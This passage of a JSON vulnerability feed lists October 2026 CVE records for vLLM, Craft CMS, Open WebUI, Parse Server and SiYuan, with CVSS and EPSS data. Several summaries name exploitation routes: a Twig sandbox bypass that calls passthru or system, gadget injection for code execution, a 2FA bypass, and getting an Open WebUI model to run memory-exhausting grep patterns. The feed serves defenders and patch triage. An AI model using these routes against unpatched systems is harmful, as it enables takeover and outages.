3.9.9 contains an authentication bypass in processUserProfile(), which checks that the session user exists but not that a pending front-end 2FA session is fully authorized. Attackers with a victim's password who can publish a page form without an access rule can invoke update_user before completing 2FA to disable twofa_enabled and take over the account.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:25.890Z","updatedAt":"2026-10-15T15:12:54.040Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109312","asOf":"2026-10-15T15:12:54.040Z"},"epss":{"probability":0.00351,"percentile":0.285,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109312&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109312","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109312","type":"primary","publishedAt":"2026-10-12T17:17:25.890Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109312&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109312, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109311","cveId":"CVE-2026-109311","aliases":[],"kind":"vulnerability","title":"vLLM before 0.29.0 passes uploaded audio to the PyAV/FFmpeg av.open() fallback with only a file-size check, exposing FFmpeg's IAMF parser heap overflow.","summary":"vLLM before 0.29.0 passes uploaded audio to the PyAV/FFmpeg av.open() fallback with only a file-size check, exposing FFmpeg's IAMF parser heap overflow. Authenticated remote attackers can repeatedly upload malformed IAMF containers to /v1/audio/transcriptions, corrupting the heap and crashing the API process.","detail":"vLLM before 0.29.0 passes uploaded audio to the PyAV/FFmpeg av.open() fallback with only a file-size check, exposing FFmpeg's IAMF parser heap overflow. Authenticated remote attackers can repeatedly upload malformed IAMF containers to /v1/audio/transcriptions, corrupting the heap and crashing the API process.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:25.730Z","updatedAt":"2026-10-18T12:17:04.637Z","regions":["Global"],"vendor":null,"product":null,"stacks":["vLLM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109311","asOf":"2026-10-18T12:17:04.637Z"},"epss":{"probability":0.00479,"percentile":0.41061,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109311&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109311","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109311","type":"primary","publishedAt":"2026-10-12T17:17:25.730Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109311&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109311, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109310","cveId":"CVE-2026-109310","aliases":[],"kind":"vulnerability","title":"SiYuan v3.1.12 before v3.8.6 fails to restrict the Sprig template function map in the /api/icon/getDynamicIcon content parameter, allowing resource exhaustion.","summary":"SiYuan v3.1.12 before v3.8.6 fails to restrict the Sprig template function map in the /api/icon/getDynamicIcon content parameter, allowing resource exhaustion. A publish reader, or anyone when publish auth is disabled, can use uncapped functions like until to OOM-kill the kernel with one request.","detail":"SiYuan v3.1.12 before v3.8.6 fails to restrict the Sprig template function map in the /api/icon/getDynamicIcon content parameter, allowing resource exhaustion. A publish reader, or anyone when publish auth is disabled, can use uncapped functions like until to OOM-kill the kernel with one request.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:25.560Z","updatedAt":"2026-10-13T19:18:24.290Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109310","asOf":"2026-10-13T19:18:24.290Z"},"epss":{"probability":0.00381,"percentile":0.31782,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109310&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109310","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109310","type":"primary","publishedAt":"2026-10-12T17:17:25.560Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109310&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109310, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109308","cveId":"CVE-2026-109308","aliases":[],"kind":"vulnerability","title":"Craft CMS 4.0.0 before 4.18.7 and 5.0.0 before 5.10.14 passes the raw 'updates' request parameter in AppController::actionCacheUpdates to UpdatesModel without...","summary":"Craft CMS 4.0.0 before 4.18.7 and 5.0.0 before 5.10.14 passes the raw 'updates' request parameter in AppController::actionCacheUpdates to UpdatesModel without Component::cleanseConfig(), allowing behavior and event-handler injection. Authenticated control panel users with the performUpdates permission or Updates-utility access can supply 'as' or 'on' keys, such as an AttributeTypecastBehavior gadget, to execute arbitrary code.","detail":"Craft CMS 4.0.0 before 4.18.7 and 5.0.0 before 5.10.14 passes the raw 'updates' request parameter in AppController::actionCacheUpdates to UpdatesModel without Component::cleanseConfig(), allowing behavior and event-handler injection. Authenticated control panel users with the performUpdates permission or Updates-utility access can supply 'as' or 'on' keys, such as an AttributeTypecastBehavior gadget, to execute arbitrary code.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:25.227Z","updatedAt":"2026-10-16T19:15:07.947Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Craft CMS"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109308","asOf":"2026-10-16T19:15:07.947Z"},"epss":{"probability":0.0049,"percentile":0.41848,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109308&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109308","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109308","type":"primary","publishedAt":"2026-10-12T17:17:25.227Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109308&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109308, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109305","cveId":"CVE-2026-109305","aliases":[],"kind":"vulnerability","title":"Craft CMS from 5.10.2 before 5.10.14 contains a Twig sandbox bypass that allows non-admin users to invoke PHP callables through the \"has some\" and \"has every\" operators.","summary":"Craft CMS from 5.10.2 before 5.10.14 contains a Twig sandbox bypass that allows non-admin users to invoke PHP callables through the \"has some\" and \"has every\" operators. Users with the System Messages permission can supply two-argument callables such as passthru or system in sandboxed templates to execute code as the web user.","detail":"Craft CMS from 5.10.2 before 5.10.14 contains a Twig sandbox bypass that allows non-admin users to invoke PHP callables through the \"has some\" and \"has every\" operators. Users with the System Messages permission can supply two-argument callables such as passthru or system in sandboxed templates to execute code as the web user.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:24.773Z","updatedAt":"2026-10-15T15:55:45.630Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Craft CMS"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109305","asOf":"2026-10-15T15:55:45.630Z"},"epss":{"probability":0.00485,"percentile":0.41444,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109305&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109305","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109305","type":"primary","publishedAt":"2026-10-12T17:17:24.773Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109305&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109305, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109301","cveId":"CVE-2026-109301","aliases":[],"kind":"vulnerability","title":"Parse Server before 8.6.95 and 9.0.0 before 9.10.2-alpha.3 does not resolve file references lacking a URL before passing objects to Cloud Code triggers and LiveQuery, causing an...","summary":"Parse Server before 8.6.95 and 9.0.0 before 9.10.2-alpha.3 does not resolve file references lacking a URL before passing objects to Cloud Code triggers and LiveQuery, causing an uncaught exception that terminates the process. Attackers able to write to a class with Cloud Code save, find, or delete triggers or LiveQuery enabled, including unauthenticated users when public write access or sign-up is allowed, can crash the server or break subsequent requests.","detail":"Parse Server before 8.6.95 and 9.0.0 before 9.10.2-alpha.3 does not resolve file references lacking a URL before passing objects to Cloud Code triggers and LiveQuery, causing an uncaught exception that terminates the process. Attackers able to write to a class with Cloud Code save, find, or delete triggers or LiveQuery enabled, including unauthenticated users when public write access or sign-up is allowed, can crash the server or break subsequent requests.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:23.940Z","updatedAt":"2026-10-18T12:17:04.383Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109301","asOf":"2026-10-18T12:17:04.383Z"},"epss":{"probability":0.00348,"percentile":0.28148,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109301&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109301","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109301","type":"primary","publishedAt":"2026-10-12T17:17:23.940Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109301&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109301, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109299","cveId":"CVE-2026-109299","aliases":[],"kind":"vulnerability","title":"Open WebUI from 0.9.0 before 0.11.4 contains a denial of service vulnerability that allows authenticated users with automations permission to stall the instance by submitting...","summary":"Open WebUI from 0.9.0 before 0.11.4 contains a denial of service vulnerability that allows authenticated users with automations permission to stall the instance by submitting unsatisfiable recurrence rules. Attackers can repeatedly send rules like February 30th to the automations create or update endpoints, blocking the shared event loop for seconds per request.","detail":"Open WebUI from 0.9.0 before 0.11.4 contains a denial of service vulnerability that allows authenticated users with automations permission to stall the instance by submitting unsatisfiable recurrence rules. Attackers can repeatedly send rules like February 30th to the automations create or update endpoints, blocking the shared event loop for seconds per request.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:23.540Z","updatedAt":"2026-10-23T22:16:55.073Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109299","asOf":"2026-10-23T22:16:55.073Z"},"epss":{"probability":0.00376,"percentile":0.31277,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109299&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109299","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109299","type":"primary","publishedAt":"2026-10-12T17:17:23.540Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109299&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109299, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109298","cveId":"CVE-2026-109298","aliases":[],"kind":"vulnerability","title":"Open WebUI 0.11.0 before 0.11.4 compiles user-chosen grep patterns for its knowledge and chat file search tools with a regex engine that expands nested counted repetition...","summary":"Open WebUI 0.11.0 before 0.11.4 compiles user-chosen grep patterns for its knowledge and chat file search tools with a regex engine that expands nested counted repetition unbounded at compile time and caches the result. Authenticated users can have the model call grep_knowledge_files with short nested-repetition patterns, blocking the event loop and exhausting worker memory.","detail":"Open WebUI 0.11.0 before 0.11.4 compiles user-chosen grep patterns for its knowledge and chat file search tools with a regex engine that expands nested counted repetition unbounded at compile time and caches the result. Authenticated users can have the model call grep_knowledge_files with short nested-repetition patterns, blocking the event loop and exhausting worker memory.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:23.390Z","updatedAt":"2026-10-23T22:16:54.930Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109298","asOf":"2026-10-23T22:16:54.930Z"},"epss":{"probability":0.00469,"percentile":0.40283,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109298&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109298","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109298","type":"primary","publishedAt":"2026-10-12T17:17:23.390Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109298&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109298, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109297","cveId":"CVE-2026-109297","aliases":[],"kind":"vulnerability","title":"Open WebUI 0.11.0 before 0.11.4 contains a denial of service vulnerability in the automation recurrence-rule validator, whose sub-daily frequency guard parses rule text more...","summary":"Open WebUI 0.11.0 before 0.11.4 contains a denial of service vulnerability in the automation recurrence-rule validator, whose sub-daily frequency guard parses rule text more strictly than the calendar library that executes it. Users permitted to create automations can submit whitespace-folded rules (or, in 0.11.0, lowercase frequencies or omitted RRULE prefixes) that expand per-second synchronously, blocking the shared event loop for minutes per request and on every scheduler poll.","detail":"Open WebUI 0.11.0 before 0.11.4 contains a denial of service vulnerability in the automation recurrence-rule validator, whose sub-daily frequency guard parses rule text more strictly than the calendar library that executes it. Users permitted to create automations can submit whitespace-folded rules (or, in 0.11.0, lowercase frequencies or omitted RRULE prefixes) that expand per-second synchronously, blocking the shared event loop for minutes per request and on every scheduler poll.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:23.240Z","updatedAt":"2026-10-23T22:16:54.797Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109297","asOf":"2026-10-23T22:16:54.797Z"},"epss":{"probability":0.00371,"percentile":0.30724,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109297&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109297","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109297","type":"primary","publishedAt":"2026-10-12T17:17:23.240Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109297&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109297, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109294","cveId":"CVE-2026-109294","aliases":[],"kind":"vulnerability","title":"Open WebUI from 0.6.42 before 0.11.4 contains an uncontrolled resource consumption vulnerability that allows authenticated users to exhaust server memory by supplying compressed...","summary":"Open WebUI from 0.6.42 before 0.11.4 contains an uncontrolled resource consumption vulnerability that allows authenticated users to exhaust server memory by supplying compressed remote image URLs in chat messages. Attackers can point the image field at a host returning gzip-encoded responses, which get_image_base64_from_url decompresses unbounded, causing denial of service for all users.","detail":"Open WebUI from 0.6.42 before 0.11.4 contains an uncontrolled resource consumption vulnerability that allows authenticated users to exhaust server memory by supplying compressed remote image URLs in chat messages. Attackers can point the image field at a host returning gzip-encoded responses, which get_image_base64_from_url decompresses unbounded, causing denial of service for all users.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:22.800Z","updatedAt":"2026-10-23T22:16:54.333Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109294","asOf":"2026-10-23T22:16:54.333Z"},"epss":{"probability":0.00307,"percentile":0.23235,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109294&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109294","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109294","type":"primary","publishedAt":"2026-10-12T17:17:22.800Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109294&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109294, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109293","cveId":"CVE-2026-109293","aliases":[],"kind":"vulnerability","title":"Open WebUI from 0.11.0 before 0.11.4 contains an information disclosure vulnerability that allows authenticated non-admin users with tool export permission to obtain tool source...","summary":"Open WebUI from 0.11.0 before 0.11.4 contains an information disclosure vulnerability that allows authenticated non-admin users with tool export permission to obtain tool source code shared with them read-only. Attackers can request GET /api/v1/tools/export to retrieve the full Python source of read-only shared tools, exposing embedded API keys and 